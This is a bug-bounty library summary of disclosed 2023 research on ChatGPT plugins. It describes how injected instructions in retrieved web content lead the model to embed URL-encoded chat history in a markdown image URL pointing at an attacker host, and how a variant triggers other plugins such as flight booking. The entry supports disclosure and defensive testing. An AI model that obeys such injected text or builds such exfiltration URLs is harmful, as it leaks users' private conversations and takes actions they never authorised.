# ChatGPT Plugins: Data Exfiltration via Images & Cross Plugin Request Forgery

Indirect prompt injection via plugin-retrieved content makes ChatGPT render attacker markdown images, exfiltrating chat history and invoking other plugins.

- Payout: Research
- Severity: high
- Program: OpenAI
- Write-up by: Johann Rehberger
- Disclosed: 2023-05-16
- Write-up quality: 7/10
- Original: https://embracethered.com/blog/posts/2023/chatgpt-webpilot-data-exfil-via-markdown-injection/
- Library page: https://bugbountylibrary.com/r/blog%3Aembracethered-com-blog-posts-2023-chatgpt-webpilot-data-exfil-via-markdown-injection
- Tags: area:ai domain:ai impact:data-leak kind:research platform:research sev:high tech:llm technique:chained vuln:csrf vuln:prompt-injection

**Target:** ChatGPT plugin ecosystem / markdown image rendering
**Root cause:** ChatGPT auto-renders markdown images returned by the LLM, and plugins have access to full conversation context, so attacker-controlled retrieved data can inject instructions that embed chat history in an image URL.
**Steps:**
1. Host a webpage/plugin data source containing indirect prompt injection instructions.
2. Instruct the LLM to summarize prior chat history, URL-encode it, and emit `![x](https://attacker/?q=<encoded_history>)`.
3. ChatGPT auto-fetches the image URL, sending the exfiltrated data to the attacker server.
4. Variant: injection instructs the LLM to invoke another plugin (e.g. Expedia) to perform actions like booking flights.
**How found:** Observation that ChatGPT renders markdown images automatically, combined with plugins ingesting untrusted third-party content and having full conversation context; independently found after Roman Samoilenko's earlier report.
**Exploitation:** Attacker controls content a plugin retrieves (webpage, YouTube transcript, comment). Injected instructions cause the model to build a markdown image whose query string carries the URL-encoded conversation summary; ChatGPT's automatic image rendering performs the outbound request to the attacker. Same primitive can trigger calls to other installed plugins.
**Escalation:** Chaining indirect prompt injection with cross-plugin invocation ('Cross Plugin Request Forgery') to spend user money or trigger actions in other plugins.
**Insight:** Any LLM surface that auto-renders markdown images (or auto-fetches URLs) turns model output into an exfiltration channel; test whether retrieved untrusted content can steer the model to embed secrets in image/link URLs, and whether one plugin's injection can invoke sibling plugins.